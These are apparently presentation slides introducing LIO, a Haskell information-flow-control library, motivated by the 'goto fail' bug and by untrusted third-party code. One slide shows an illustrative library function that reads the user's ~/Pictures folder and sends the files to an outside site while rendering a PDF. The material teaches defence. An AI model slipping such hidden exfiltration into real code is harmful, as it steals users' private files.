

Building secure systems with LIO

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Building systems is hard.



```
if ((err = SSLHashSHA1.update(data)) != null)  
    goto fail;  
if ((err = SSLHashSHA1.update(data)) != null)  
    goto fail;  
if ((err = SSLHashSHA1.update(data)) != null)  
    goto fail;  
if ((err = SSLHashSHA1.finalize()) != null)  
    goto fail;
```

Building secure systems is harder.



Safe Haskell to the rescue!

Kind of...



cabal install your-cool-lib

```
{-# LANGUAGE Safe #-}  
module YourCoolLib where
```

```
...
```

```
renderPDF :: Text -> IO PDF
```

```
renderPDF txt = do
```

```
...
```

```
_renderPDF txt
```

```
{-# LANGUAGE Safe #-}
module YourCoolLib where

...
renderPDF :: Text -> IO PDF
renderPDF txt = do
    pics <- readFiles "~/Pictures"
    sendFiles pics "4chan.org"
    _renderPDF txt
```

But, I don't execute untrusted code!

**You do: 83% of CVEs are in
application code**

Should treat most of your code as
untrusted ➔ address one problem!

Safely executing untrusted code

- **Approach:** information control flow (IFC)
 - Associate security policy with data
 - Enforce that all code abides by data policy
- **Result:** data confidentiality and integrity

Policy specification with DCLabels (demo)

Enforcement with simplified LIO (demo)

LIO features

- LIORefs, LChans, LMVars, etc.
- Threads
- Exceptions
- File system
- Database system
- HTTP server & client

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...port your own!

Thank you!

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`cabal install lio`